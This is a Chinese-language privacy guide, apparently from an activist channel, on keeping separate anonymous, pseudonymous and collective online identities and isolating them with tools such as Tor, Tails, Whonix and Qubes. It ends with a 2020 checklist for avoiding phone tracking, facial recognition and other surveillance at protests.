如今的电子设备无处不在，以至于您可能都意识不到它们的存在（具体说明见《看不见的黑手：自动化未来的政治》）；从您的手机到各种所谓的智能家居，所有这一切玩意以及那些应用程序和功能每时每刻都在疯狂地吸取关于您的数据。在这情况下，要理解和保持对各种数据和元数据（即“数字痕迹”）的认识，已经变得越来越困难了。

需要认识到这点，这意味着您 *曾经* 习惯于的谨慎模式需要“与时俱进”，不断调整和深化。

考虑潜在的在线身份如何提高您的人身安全 —— 以及与您的私人和职业相关的其他人的安全 —— 准确评估风险、以及掌握安全使用各种类型的在线身份所需的技术技能，至关重要。

您还需要考虑在特定的情况下，您会使用哪种身份，它们之间绝不能发生错乱。

请回答以下这些问题，它们是您在评估在线身份时*至少*应该考虑的因素：

- 如果我的真实身份曝光，我的安全、工作或生计会受到威胁吗？
- 如果恶意者知道我参加了某些活动，我的心理健康或人身安全会受到影响吗？
- 如果我的真实身份被恶意者知道，我的家人或其他亲人朋友是否会受到任何伤害？
- 我是否能够并愿意安全地维护单独的身份角色？

请静下心来思考这些问题 —— 答案会根据每个人的需求的不同而有所不同。您所要做的就是，想得尽可能全面，而不是仅仅考虑最近的计划和此前才刚做过的事。把眼光放远点。

这些问题的答案意味着在考虑您的在线身份（或多个身份角色）如何影响数字安全性和隐私人权时需要应用的基本风险评估流程的要素。

在考虑不同的在线身份分离策略时，评估风险有助于更明确自己的选择和需求。

从完全透明到完全匿名，范围包括您认为需要并可能维护的多个独立身份，以便您安全地维护和完成工作。由于这项工作涉及风险，因此建议您尽力进行深入的风险评估，并在需要时寻求帮助。

- 不要错过《私人威胁模型》
- 《保护安全需要一系列思考方式，而不是哪个软件》

匿名

「图」

匿名是指将您的身份和任何关于您的独特身份细节，完全隐藏起来。

☞ 这意味着需要保持您的真实身份与您所做的工作、活动和/或你所发表的任何意见，完全分开。

关于匿名，人权活动家 Vani 曾经写道：”我是一个经常使用社交网络的人。我就一系列的话题发表自己的意见。但我仍然是无脸无名的”。

如果你不需要获得别人的信任，如果你可以信任的人很少甚至没有，或者当你不想让自己和生活中的其他人面临更大的风险时，匿名可能是一个不错的选择。

与下面的其他方案类似，它需要注意的是，您所创造的 “数字痕迹”，就像前文讨论过的那样，它需要您非常小心、尤其是不要犯简单的操作性错误。

例如，对匿名的承诺意味着您必须非常有纪律地不透露自己的 “真实IP地址”，类似于不透露您的 “真名”。对于这一点，Tor 浏览器和可信的 VPN 可以成为您日常使用的关键工具。

- 《如何检查您的VPN连接是否实际加密》
- 《什么时候你需要VPN？》
- 《如何验证您的 VPN 连接是否安全？》

当您准备在进行某些在线活动时，匿名也是一个不错的选择，因为这些活动比您以其他类型的身份进行的其他工作和在线活动更敏感。

例如，当您在调查研究政府操纵的信息战时，或在可能被监控的在线环境中讨论容易被审查的内容或高度政治化的问题时，您可能希望保持匿名。

匿名也意味着使用其他类型的在线身份元素。如果你想与你不完全信任的人交流，或者你不愿意透露“真实”身份时，您可能想用化名建立一个一次性的账户，通过即时聊天或电子邮件与他们交流。

在网上匿名操作时，你可能也想用一次性的假名在博客文章或新闻网站上发表评论，或者建立一个一次性的昵称，以便在一次性的聊天中使用。

但是，完全的匿名性可能很难维持，尤其是当你长期创建大量的内容时。

你 —— 和其他知道你身份的人 —— 都可能会犯“错误”，会疏忽，并通过你发布的内容或元数据泄露出关于你的可识别性“数字痕迹“的几率会增加。

此外，在一些国家，匿名本身就可能是有风险的，因为在这些国家，匿名会自动被当局视为“危险信号”，当局可能会认为匿名用户试图隐瞒什么或做错了什么。他们就是这么愚蠢。

匿名也会让人感到孤独和孤立，这是一个心理健康问题，它不是听起来这么简单。长此以往的孤僻会威胁人的意志，您需要小心这点。具体见《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》。

总之，请考虑周全。

你可以使用假名，但是，⚠ 这些假名不应该在不同的网络或社交领域中反复使用，它们必须彼此独立；有些假名可能只用一次，之后便丢弃。正因为如此，匿名性与持久性假名不同。

持久性假名

「图」

持久性假名是指在一段时间内持续使用的假名。如上文所讨论的那样，有无数个理由让你想使用一个与你出生时的名字完全不同的名

字。

☞ 请记住，使用化名意味着你仍然必须非常小心地将你的化名操作与你的个人生活完全分开，这意味着要密切关注在化名下创建的任何潜在的数字痕迹 —— 例如一张可以追踪到你的照片，或者你用真名做的电子邮件帐户、或论坛评论等等，或者透露你的 “真实” IP地址。

所有这些都意味着，你必须真正确定这是你想做的事，并且你已经准备好做出所需的努力。

如果是这样，这里有一些需要考虑的事。

假名可以看起来像个人的名字，也可以是任意的短语，通常情况下，你会有完全的自由来创建假名，但是，也有一些服务机构会对使用假名或匿名身份的账号进行监视甚至封锁。

在撰写本文时，最著名的例子是 Facebook，它要求用户使用他们的 “真实身份”（或 “真实姓名”），这几乎就是指你的法定姓名，或你通常被人熟知的名字（如昵称）。

避免这种情况的一个策略是使用姓名化名，这样您的账户就不会被 Facebook 等类似的服务自动挑出有问题。

持久的假名身份还可以提供匿名所不能提供的能见度，使您和您的工作在一段时间内获得在线声誉和关注度，并能与他人建立联系。

当然，成功地建立起网络声誉和与在线网络的联系仍将取决于基于信任的在线社区成员决定您是否值得他们的信任，这可以使您的在线声誉成为您的在线假名身份的关键因素。

您甚至可以选择向一些基于信任的网络中的一些人透露你的合法身份或 “真名”，或者不透露。任何可能决定将你的假名和与之相关的网络声誉与你的 “真名 “联系起来的决定，都是根据你的具体需求和背景做出的高度个人化的选择。

集体身份

「图」

另一种匿名的方式是通过集体匿名参与。

几个世纪以来，一些团体和志同道合的人们一直在以匿名方式参与历史性的抗议运动，或者以集体化名来创造出具有突破性的艺术作品和发人深省的行动。比如我们曾经推荐过的一部无政府主义剧集《La Casa de Papel》，这场行动的所有参与者彼此都不知道真实姓名，他们用全球的著名城市名来称呼彼此。

除了让成员们能够 “隐藏” 自己的身份之外，这些集体化名往往会从整个行为中产生一种近乎神奇的力量。

👌 通过集体身份的匿名性可以转化为一些具体的活动和资源，从发布集体声明的私人群组或邮件列表，到共享的 Twitter 账号，都可以转化为具体的活动和资源。

虽然同样存在安全和隐私问题，但作为集体身份的一部分工作，可能意味着你背后有 “集体的力量”，如果你不想暴露自己作为运动的一部分的身份，这可以提供一个很好的选择。

但要注意的是，“集体的力量” 也可能导致结构性暴政。集体可能会选择做一些你不同意的事，或者是会让你处于无法接受的危险程度的事。仅仅是作为集体成员，就会增加你所经历的审查、监视和风险的程度。所以，如果你考虑以集体身份行事，在加入前要明智地选择，做好调查研究。

比较策略

「图」

至此，您现在应该对不同类型的网络身份有了更多的了解，知道了不同类型的网络身份有哪些、它们提供了什么、它们是如何重叠的，以及在使用这些身份时的权衡。

您可能已经想好了不同类型的在线身份如何以不同的方式与他人交流，并在思考您将采取什么样的策略。

但是，如上文所述，关键是要了解您的具体需求和情况在安全方面的利弊，实施特定类型身份的要求，以及身份对你的具体风险程度所要求的技术能力。

您需要相对较强的技术知识和技能基础，才能安全地创建和管理这些类型的在线身份。欢迎关注我们为此汇总的专门栏目：

- 列表-1 中的 “技术防身” 板块
- 以及 列表-5 中的 “护盾” 板块

选择将你的使用限制在某些平台上而不是其他平台上，可以帮助解决许多挑战，虽然不是所有挑战。建议您在可能的情况下，在选择使用一种或多种类型的身份信息之前，与其他在类似的高风险或敌对环境中使用过这些身份信息的人交流一下，作为研究的一部分，这是获得实践和了解这些身份信息的意义的绝佳方式。

以下是一个对比；

真名

- 风险：在线使用真名意味着家人、同事和其他人 —— 包括恶意者 —— 容易识别您的身份，并且您的活动可以链接回您的全部现实生活。
- 声誉：其他人可以轻松识别您的身份，因此获得声誉和信任更容易。
- 努力：不需要任何努力。

完全匿名

- 风险：很多情况下是有益的，但也比较难维护，需要较高得到的技能。
- 声誉：与他人建立联系从而获得信任和声誉的机会比较少，但并非没有，尤其是当您在一个组织中参与的情况下，比如匿名者组织。每一位成员都能共享组织的声誉。
- 努力：需要很大的努力，因为需要大量的谨慎和技术知识。需要使用匿名化工具（例如 **Tor** 或 **TAILS**）

永久假名

- 风险：假名可能与您的真实世界身份产生关联，从而破坏您的防护。比如在操作失误的情况下。
- 声誉：永久的化名，其他人可以用来跨平台识别您的身份，这是获得声誉和信任的好方法。
- 努力：维护需要付出一些努力，特别是如果您还在其他地方使用真实姓名的话。

集体假名

- 风险：小组中其他人的行为可能会暴露您的真实世界身份；您

需要与具备同等安全意识和操作习惯的人合作。
- 声誉：虽然这不是获得个人声誉的方法，但您仍然可以从集体的声誉中受益。
- 努力：尽管操作安全仍然很重要，但是与完全匿名相比，它需要的工作更少。

from Irena Buzarewicz

创建一个新的在线身份

「图」

就如我们一直在警告的那样，一旦一些东西进入了互联网，它几乎都会以某种形式在网上和私人服务器上持续存在。您可能会认为从社交网络平台和网络服务中删除某些敏感数据就足以保护自己，但请记住，元数据不能像删除内容那样容易，甚至没那么容易找到。

许多公司会删除你的账户，但是，可能会根据他们的政策和当地的法律，继续数据保留在他们的服务器上一段时间。而在你的整个生活中使用一个身份 就会产生大量的信息，从而更容易对你进行 “人肉”。

避免这种情况的一个选择是留下一个旧身份，然后创建一个新的身份，或者（如上文所述）为你的每个社交领域创建不同的新身份。你也可以选择在某些领域仍然使用你的真实身份，而在其他领域使用新身份。

就像所有的安全和隐私策略及工具一样，当您没有面临直接的威胁时，您会更好地学习熟练使用这些防御措施。压力会影响您参与风险分析、安全规划和技能培养的系统化过程的能力。

✌️ 所以，把安全措施作为习惯，而不是救急，才最有希望获得安全。

一旦你决定了想要尝试使用多种身份，并选择了您想创造什么样的身份（或角色），您可能需要考虑以下建议。

- 您应该为每个不同的角色身份慎重地选择社交联系人，严格避免与您用于不同活动的其他身份共享联系人。这将有效地创建独立的社交域，并拥有独立的账户、电子邮件地址、浏览器配置文件、应用程序，如果可能的话，包括独立的设备。
- 您的各种身份之间不应该存在任何联系，更不应该与您的真实身份存在任何联系。请记住，其中一些联系可能是完全下意识

的，例如，当您使用真实的电话号码注册一个新的假名电子邮件帐户时，或在创建一次性使用的电子邮件时填写了一个持久性假名。这些都要不得。
- 创建额外的一次性身份是很有用的，因为，如果前一个身份被泄露，您可以很容易地丢弃它。这些身份也可以为新认识的人创建（在适当的时候），在你把他们加入到一个更值得信赖的关系网络之前，也可以作为介绍性的档案来了解某人。

1、创建名字和生活故事

「图」

如上文所述，很多平台都有“实名制”政策，所以，如果你想用假名来使用这些商业社交平台，最好使用一个可信的名字和姓氏，而不是“虚构”一些看起来很假的名字和姓氏。哪怕您准备将该身份只用一次。

一旦您选定了虚拟角色的名字、姓氏和用户名后，您需要做一点研究，查看一下是否还有其他人使用过这个名字，即 采用我们曾经介绍过的用户名搜索工具：

在这里看到：https://t.me/iyouport/6861

您可能想要一个非常的独特的名字，也可能完全相反，您会选择一个非常大众的名字，以至于追踪者通过搜索后会产生大量的杂音，以便于您隐藏在其中。不论如何，这将根据您的具体需求来衡量。

然后，你需要为这个虚拟角色创建一个故事，因为这样做可以使虚拟角色维护起来更容易。

这真的可以很有趣，也很有挑战性。如果你觉得特别有灵感的话，可以发明一个新的故事，或者根据一个“已知”人物的故事、一个你喜欢的小说中的虚构人物、或者采用一个“集体身份”。

👌 无论如何，当你创造一个身份时，你应该构思出一个 **完整的虚拟人物**，一个需要培养和发展的头像，才能成为可信的人物。

- 不要错过，选取假身份的简易方法《伪装＋擦除—— 在线隐身的重要步骤（少数派玩家）》

2、可信的角色

「图」

请注意，一个虚拟的角色或身份不可能只是一个名字、一个电子邮件地址和一系列的网络账户。如果您所有角色中保留了您所有的核心识别特征 —— 比如你的性别、职业、喜好，甚至是你的写作方式和用词 —— 那么最终肯定会有专业的追踪者可以把你的假身份和你的真实身份联系起来。

- ⚠ 再次强调这点，在构建虚假身份时的必须注意事项《角色扮演：行动者刚需》这篇文章是比较全面的说明

1、工作 —— 您的虚构角色所从事的工作应该和您的实际工作有所不同，但也不要差异太大，以至于您对该领域一无所知，那就很糟了。另外，您可能希望根据城市和国家/地区来更改工作地点。

2、技能和兴趣 —— 选择个人角色的技能以及角色所关注并撰写的主要主题时，应进行类似的考虑。

3、心理特征和态度 —— 赋予角色以深度的一个好方法就是，制造一些“弱点”，而这些“弱点”与您本人的真实弱点完全不同。所以，当角色受到攻击的时候，你可以一笑置之，不会受到伤害。比如说，如果你的幽默感很好，那么就可以尝试冒充一个完全没有幽默感的人。

4、语言指纹 —— 虽然比较高级，但您必须知道，可以通过“文体分析”来识别发言者的身份；如果他们有足够多的写作样本，就可以识别出某篇文章的作者。我们介绍过这点，见《角色扮演：行动者刚需》

当然这个方法很不常见，但是如果你担心这个问题，那就应该分析一下你的写作方式，分析一下你倾向于使用什么样的错别字、以及你倾向于使用什么样的短语和句子结构。

你可以通过使用不同的写作风格来使任何潜在的分析复杂化，这可能涉及到你使用的单词、句子的结构、不寻常的大小写字母的使用，以及你通常不会出现的各种错别字。

👌 如果您分身为多个角色，您可以为每个角色的写作方式创建一个简单的规则，并通过保存密码和每个角色的账号的登录信息来维持各个角色的不同特征。这当然是专门的技巧。

无论如何，您应该记住，在互联网上，你的每一个身份 —— 即使是那些与你的真实姓名相关的身份 —— 都是一个“虚拟”的身份，您完

全可以决定在每一个身份中暴露出多少您想要的性格特征。在某些情况下，为你的“真实”网络身份创建一个有点虚构的角色甚至可能是个好主意。

3、管理多个身份

「图」

保持多重身份确实需要一些努力，但就像大多数防御做法一样，它需要您一些好奇心、耐心和注意力。

不必担心照顾不周，一段时间后，它就会像您在网上做的其他事一样成为习惯，最主要的一点是，👌 要时刻保持警惕，以保持你的不同身份之间的完全分离，否则它们很快就会开始相互混杂。

开始的时候，您可以将不同身份角色记录下来，以帮助您避免出现将一个身份与另一个身份混为一谈的尴尬情况 —— 但一定要仔细考虑一下你在哪里保存这些笔记！不要让任何人碰到它们。

还有一些技术上的事可以做，下面会详细介绍。在任何情况下，请考虑到这些建议集中于使用台式电脑的身份管理，可能并不总是适用于使用移动设备的相同活动。

可悲的是，移动设备具有太多的元数据和安全问题，更难控制和管理，这也是为什么它们一直被称为不安全设备的部分原因。

- 《你的手机如何背叛了民主》
- 《斯诺登：智能手机本身就是不安全的东西》
- 非常推荐这个访谈！《你的手机就是秘密监视设备—Snowden访谈视频》

1、创建不同的浏览器配置文件，以伪装不同身份的浏览习惯，on Firefox (https://developer.mozilla.org/en-US/docs/Mozilla/Multiple_Firefox_Profiles and https://support.mozilla.org/en-US/kb/profile-manager-create-and-remove-firefox-profiles) or Google Chrome (https://support.google.com/chrome/answer/2364824)

2、在为身份创建新的电子邮件帐户或社交媒体帐户时，最好使用**Tor**浏览器或 **Orbot** (对移动设备: https://securityinabox.org/en/guide/orbot/android).

如果需要电子邮件地址做联系方式，请考虑使用一次性电子邮件地址，该电子邮件地址仅用于该帐户。

- 不要错过《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 《大保健应该成为习惯：变得难以被追踪的简单方法（6）》

但需要注意，您选择的电子邮件提供商必须不能同时收集和显示新的“一次性”电子邮件帐户和您的真实身份之间的联系 —— 例如，当你的主要“真实身份”电子邮件帐户中的一个已经链接到 Chrome 浏览器时，试图通过 Chrome 浏览器再创建一个一次性 Gmail 帐户，是几乎不可能的。

考虑使用你通常不会使用的其他电子邮件提供商来制作一次性账户。

3、写出并建立你在不同身份的账户中“登入和退出”时所采取的“基本清理”步骤。这包括注销账户、删除 cookie、不要让浏览器保存密码等等。显然，您还需要为每个账户管理不同的密码，所以强烈建议您使用 Keepass 等密码管理器工具来管理不同的密码。

如果你有资源和动力，你可以根据设备或操作系统来分离你的身份。例如，这可以包括使用虚拟机。这个选项可以是一个非常有用的方法来使用和管理你的各种账户。

无论选择哪种方法，都应尝试使流程尽可能地例行化，以使其成为您可以在工作流中管理的部分。

商业社交网络平台

「图」

在选择使用任何社交网络平台之前，无论您打算使用哪种身份，都应询问一些基本的安全和隐私问题，如下：

1、它是否为网站的所有使用提供了加密连接（https），而不仅仅是在登录期间？网站的加密是否存在任何问题？

2、根据平台的最终用户许可协议（EULA）、隐私政策和/或数据使用政策，您的内容和个人数据是如何被处理的？与谁共享或可能出售给谁？

3、该平台为用户提供了哪些隐私选项和功能？比如说，你可以选择

与少数人安全地分享你的视频，还是默认所有的视频和其他内容都是公开的？

4、是否知道这些服务器的地理位置？它们属于哪个地域（因此也是法律上的）管辖范围？该公司在哪里注册？这些信息与您的活动和信息的隐私性和安全需求之间有什么关系？

现在，当您考虑制作一个单独的身份并将其发布到商业社交网络平台上时，还需要采取其他预防措施，比如：

1、首先重要的是，不要暴露你的“真实”IP地址，所以建议使用可以屏蔽你的IP地址的工具，如Tor浏览器或可信的VPN来连接到这些平台。

2、在为新角色创建社交网络账户时，请使用你为该角色创建的唯一的浏览器配置文件（如上文提到）。一定要检查平台的隐私设置，这样你就能知道谁能看到你发布的内容，谁能与你联系，谁能用搜索查找你，以及你的联系人能看到和做什么（例如，他们能在图片上标记您吗？）

3、仔细考虑您提供的个人资料，要记住，这些资料是公开的，所以要考虑你想传达的信息。

4、确保每一个角色的联系人与您的其他角色身份之间不要重叠，不同的身份不要互“粉”！

特别是不要将您的假身份去关注您的真实身份！这肯定不是一个好主意。

如果有人想揭开其中一个角色的面纱，他们首先要找的就是这个账号跟随谁、谁在被跟随。出于同样的原因，您应该严格避免将一个账号发布的帖子或其他内容用另一个账号转贴。

5、为了让您的身份角色看起来像不同的人，您可以在一天中的不同时间段从您的不同账号中发布不同的帖子。一些社交网络平台允许用户安排自己的帖子的发布时间，也就是定时发送。

6、从你的假名角色中关注其他可能被合理地认为是该角色真正所有者的人，这可能是个好主意。把追踪者带偏。

为了进一步拉开你的真实身份与假身份的距离，你也可以在假身份下写下关于你没有参加的活动的帖子（并在 Twitter 上用标签），特别

是当这些活动的发生地点离你很远的时候。

发布一些看起来就像是你暴露了身份的帖子，然后删除，这样做也会很有趣，这样可以进一步迷惑那些可能试图揭穿你的身份的人。

7、如果你使用的是带有GPS功能的手机，大多数社交网络平台都会在能显示位置的地方显示你的位置。

这个功能一般是在您使用支持GPS的手机与平台互动时提供的，但您的电脑所连接的网络也可能提供位置数据。

仔细检查您的设置—尤其是在照片和视频分享网站上，确保您的物理位置和其他元数据不会被收集并与您分享或发布的媒体内容共享。

8、如果您通过手机APP访问社交平台，最好为每个独立的账号使用不同的**APP**，以免误将东西发布到错误的账号上。

最好是每个身份使用不同的APP，这样可以减少泄露自己真实身份的风险。

为每个身份使用不同的电子设备

「图」

数字安全的方法有很多，但最现实的方法之一就是 *隔离安全*，它假设所有的安全措施都有漏洞，因此重点是：通过防止可能的攻击者访问需要安全保护的 “整个系统” 来减少伤害。

👌 这就是使用多个在线身份相互隔离的策略的基础思考方式 —— 它将一个难以防御的单一目标（你的 “真实身份”）转化为多个目标（你的各种在线身份） —— 如果操作正确的话，它可以是很有效的，但这完全取决于您的具体情况和您所要创建的安全类型和深度。

归根结底，这取决于您真正认为你的 “对手 “是谁，以及您认为他们有什么样的能力。

您如何在网上向外人展示您的形象，与您如何向间接访问您的设备或您使用的服务的人展示您的形象是非常不同的。如果你的工作环境中，你希望对你的设备和服务有更大的控制权，那么有一个技巧就是：将这一策略从独立的、孤立的在线角色扩展到您使用的设备上。

大多数人在同一设备上使用相同的操作系统来创建、使用和管理所有

的在线身份，因为人们通常只能使用一台电脑和一部手机。

由于浏览器和应用程序可以进行独特的“指纹识别”，当您使用不同的在线身份时，就必须采取额外的步骤来“显示”不同的在线身份。

其中一个方法是改变您使用的浏览器，并为每个在线身份创建和保存单独的浏览器配置文件。

请注意，犯错的概率可能有点高。例如，你可能会不小心使用“真实”身份分配的浏览器配置文件登录到了一个假名账户，这就会留下明显的元数据，与你通常使用的浏览器配置文件相比，这些元数据似乎不寻常，如果有人在你登录时密切关注并捕捉到了你的浏览器数据，就可以将假名账户与你的真实账户联系起来。

你还可能被恶意软件感染，使攻击者能够监控你在网上所做的一切，包括使用你的许多精心制作和管理的假身份来监控你的所有活动。

请不要自责，每个人都有疏忽的时候，我和您一样不可能采取7*24的紧绷状态。但这些疏忽的确非常危险，它们会导致您前功尽弃。

为了减轻这些风险，你可以为你的每个在线账户（及其各自的社交领域）使用不同的设备，这样就可以减少潜在的间谍软件或人为错误可能造成的伤害。

然而，我们大多数人都没有这样的资源。因此，一个廉价的（通常也是免费的）选择是：在您的主电脑上使用不同的操作系统，比如使用像 Tails 这样的 GNU/Linux Live 发行版，或者创建“虚拟机”，在你的主操作系统内运行。

虚拟机(VM)可以被描述为一个模拟的计算机，它有自己的操作系统，以软件的形式运行在你的物理计算机上。你可以把虚拟机看成是计算机中的计算机。

在虚拟机中打开不受信任和潜在的有害附件，还可以帮助您与主操作系统“隔离”，以避免整个系统受到潜在的恶意软件感染。

这里提出的三个工具 —— **Tails**、**Whonix** 和 **Qubes OS** —— 都可以为您提供额外的保护，让您无需使用多台电脑就能管理备用身份的独立操作系统，并且可以成为确保您在使用其他在线身份相互隔离的情况下不会暴露真实身份的强大工具。

更棒的是，这些解决方案都是免费的、开源的 **Linux** 发行版，可以最

大限度地保护用户的隐私和安全。

- 在这里看到 Whonix 的使用方法介绍《妈妈说，操作安全永远不能被忽视—匿名工具：小白级指南》

Qubes 可以将您在计算机上做的事安全地隔离在不同的虚拟机中，这样，如果一个虚拟机受到攻击，其他任何事都不会受到影响。

这样一来，你就可以在一台物理计算机上做任何事，而不必担心一次成功的网络攻击会危害到您的整个系统、泄露你的各种身份之间的所有连接。

如果您想把所有的活动都放在自己的电脑里，而不需要安装其他任何东西，那么 Qubes OS 就是个不错的选择。

请注意，您始终不应该把这些技术工具看出灵丹妙药，操作安全始终是第一位的 —— 人是最大的漏洞。请尽可能将操作安全形成习惯。这些工具可以使遭受攻击的可能性降至最低，您值得花点时间去熟练使用它们。

最后

「图」

我们中大多数人都希望在网上与他人安全地进行交流和组织。所以，如果您能在网上创建和维护安全、可信的社区，让那些有共同目标、观点或想法的人进行更广泛地交流、支持和对话，您就可以构建有效的避风港。

从个人防御开始，到形成组织的防御，当您可以协助身边的队友形成同等的安全意识时，您和大家就可以开始自由地做想做的事了。

防御是一切的基础，如果您能在不自由的世界里为自己和组织创建一片自由空间，您的存在本身就已经是有效的反抗。祝所有人平安顺利！〇

原文

AS47 如何在监视时代参加抗议活动 - iyouport

护盾（AS）

【2020年9月17日】您需要注意一些问题

从美国开始，今年爆发的十几个国家参与的抗议运动吸引了全世界的注意力。美国各城市的军事警察部署了装甲车、并向抗议者和旁观者发射了橡皮子弹。

在下面看到关于镇压武器将造成的杀伤力分析，关于您应该在现实中注意哪些：

- 《当我们陷入困境：中国社会能从美国的反抗运动中学到什么》

我们也曾专门分析过“智能镇压”的标准手段，见《警察用哪些监视方式瞄准抗议者？》。这篇文章很重要。技术监视是武装镇压的前提，也是一切社会控制的前提；了解当权者的手段是公民防御的重要基础。

去年也曾专门介绍过行动者需要注意的基本问题，见《指南：当您准备参加抗议活动...》。

下面总结下大致的注意事项。

1、在抗议活动中，数字监视有两个主要方面需要特别关注。其中一种是，警察可能在您被拘留、逮捕或被没收设备时，从您的手机中获取数据。这是为“数字取证”，在下面看到具体做法和分析：

- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技

术：云取证》
- 在这里，“Forensics” 标签下看到相关书籍的上传

另一个是执法监视，其中可以包括无线拦截短信等监视技术，以及诸如车牌扫描仪和面部识别之类的跟踪工具。

总之您应该同时注意上述两者。

2、在美国的抗议运动中，全国各地的警察都已经表明他们很积极地逮捕和攻击完全和平的抗议者、包括观察示威活动的记者/民记录者。

有鉴于此，您应该明白，您自己出现在抗议中或附近的任何数字证据都很可能被用来攻击您。

公民行动组织 “为未来而战” 的负责人 Evan Greer 在推特上发布了一份数字安全建议，他说：“很明显，政府正在全力推进监视国家状态，以镇压这些起义。”

他说，“请记住，采取这些步骤不仅是保护您自己，还在于保护身边的其他人，因为他们没有证件、有犯罪记录、 [或] 具有任何潜在健康状况，因此一旦被逮捕，将比您面临更严重的威胁。”

3、在出门参加抗议活动之前，要做出的最重要的决定就是，是否携带手机、以及带什么样的手机。

手机是非常危险的东西，在下面看到具体解释和追踪演示。智能手机每时每刻都在播放各种识别性信息；执法部门可以强迫您的移动运营商收集有关您的手机连接到的蜂窝塔以及何时连接的各种详细数据 。

- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—Snowden访谈视频》
- 《斯诺登：智能手机本身就是不安全的东西》
- 追踪演示《1200万部电话，一个数据集：利维坦眼中的世界》

不止美国，全世界的警察都在使用所谓的“黄貂鱼”设备（即 IMSI 捕手）进行监视，它模仿手机发射塔并欺骗特定区域内的所有电话将其连接。在下面看到介绍和可能的防御方法。

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》

“您口袋里的设备不断发出可以用来识别您身份的信息”，新闻自由基

金会安全总监 Harlo Holmes 提醒说，

因此，Holmes 建议希望获得安全的行动者不要携带自己得到主要手机去参加抗议活动。

4、如果您确实需要手机进行行动协调、或在紧急情况下打电话给朋友或律师，尽可能保持关闭状态，只在使用的时候短时间打开，以减少其连接到伪基站或恶意Wi-Fi热点的机会，执法部门经常使用这些渠道进行监视。

这可能需要团队合作，您应该事先与队友协商好行动计划和联系方式，因此如果出现问题，您只需要短时间打开手机即可。

5、为了更加确定您的手机不会被追踪，请将其放在法拉第袋中，仅在需要的时候再打开袋子。

如果您确实需要移动设备，请考虑只带一些不常用的备用手机（最好是老旧的非智能手机，只要能打电话就行）、或一次性手机。

您的主要智能手机中拥有您的大部分数字帐户和数据，所以，一旦警察没收了您的手机，那么您知道，可以想象到所有这些数据他们都可以访问。

6、但是，不要以为您购买的任何备用电话都能帮助您匿名。一些预付费电话会比其他预付费电话需要更少的标识性信息，例如，在美国，Holmes 的建议是在 MetroPCS 上使用 TRACphone 和 Mint Mobile。

毕竟，如果您给预付费电话运营商提供了可识别性信息，那么您的“一次性” 电话就不再是您想要的匿名设备了。

在中国，您最好能使用与您的身份完全无关的手机，比如匿名卡和现金交易的二手设备。

7、无论您使用哪种手机，都请注意，传统电话通话和短信是很容易受到监视的。这意味着您很有必要使用端到端加密。

理想情况下，您和与之交流的人应该可以使用阅后即焚的功能，让消息在几个小时内或几天内自动消失。相比下，加密的消息传递和呼叫应用 **Signal** 拥有最好和最长的安全记录，而 Wire 和 Wickr 等其他应用也提供了许多相同的功能。

只要确保您和您与之交流的人都使用同一个应用程序即可，因为不同应用程序之间无法互操作。

- 在这里看到 《如何在不必暴露真实电话号码的情况下使用 Signal》

8、除了保护您手机的通信不受监视之外，您还应做好准备，以防万一警察抢走您的手机并尝试将其解锁以寻找定罪证据。在下面看到基本防御措施。

- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》
- 《如何保持 Android 设备免受警察的侵害》

首先要确保您的智能手机内容已加密。默认情况下，iOS设备会启用全盘加密。如果您携带的是 Android，请先转到 “设置” 和 “安全性” 以确保 “加密磁盘” 选项已打开。

无论使用哪种操作系统，请始终使用强密码而不是指纹或面部解锁保护设备。显然，拒绝将密码告诉警察要比拒绝将手指按在传感器上更容易得多。

如果您坚持使用生物特征识别解锁方法以便更快地访问设备，请记住，有些紧急功能可以禁用这些类型的锁屏方式。

例如，在 iPhone 上同时按住电源按钮和音量按钮之一，它将自动锁定并要求输入密码才能解锁，而不是 FaceID 或 TouchID。

大多数设备还允许您拍摄照片或录制视频而无需先将其解锁，这是保持手机尽可能多锁定状态的好方法。

9、出门前，您还应该考虑所穿的衣服。

色彩鲜艳的衣服或醒目的徽标会使您更容易被执法部门识别，并且更易于跟踪 —— 别忘了，除了技术监视之外，还有大批的人眼监视，来自便衣警察/渗透者，他们将使用人类监视最常规的模式 即 特征描述。

在下面看到警察使用的人类监视特征描述模式的讲解；于是， 您要做的就是，尽可能削弱自己的特征、以变得 **难以被描述**。

- 《*掌握*人的心理技巧：塑造超强记忆力的方法（8）》

让自己能够轻易“消失”在人群中，您肯定知道该怎么做。

10、如果您有可识别的纹身，请尝试遮盖它们，因为这是新型的被政府间谍所钟爱的追踪监视方法之一，见《掌纹、疤痕、纹身、物理标记、声音 .....一切都用来跟踪你》。

最基本的对于大众来说，请考虑戴上口罩（这在疫情期间足够容易）和太阳镜，以便您的脸被监视录像或社交媒体照片或抗议视频捕获时，面部识别技术难以识别您。

11、如果您要开车，也请考虑自动车牌读取器可以轻松识别您的车辆运动。在下面看到可能的抵御方法（是的，这也许需要联合行动）。

- 《如何愚弄自动车牌阅读器？》

如果不方便实现这点，可以考虑尽量不要开车或者不使用自己的车子。

12、如果您在抗议期间使用电子设备拍摄照片或视频，请务必牢记，监视者有可能如何利用这些内容来识别和跟踪您及其他人。将一切可识别性的信息删除 —— 包括元数据。

您上传到社交媒体的文件可能包含时间戳记和位置信息之类的元数据，可以帮助执法部门跟踪人群和活动。

您可以在下面看到防御方法：

- 《无处可藏的数字足迹—亦正亦邪元数据（上篇）》
- 《都是工具，从自我保护到有效利用—— 亦正亦邪元数据（下篇）》

13、确保您 *有权* 拍摄任何可能在您的内容中被识别出身份的抗议者。在进行直播之前，请仔细考虑这点。记录正在发生的事情很重要，但是，很难确保可以出现在您的信息流中的所有人都能接受随之而来的风险。

在下面看到抗议行动记录者应有的技能和素养介绍，包括工具和记录技巧：

- 《公民取证技巧：如何留住真相？》
- 《当你手握真相：最基本的防护知识》
- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》

- 更多内容详见 列表-3 “让它民主”

14、正如自由之家研究员 Allie Funk 所说，社交媒体监视会在和平抗议开启开始之前就实现维稳。

社交媒体监视就是被广泛称之为 “社交媒体情报” 的操作，它甚至到目前为止都是合法的。在下面看到基本介绍和防御方法。

- 《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
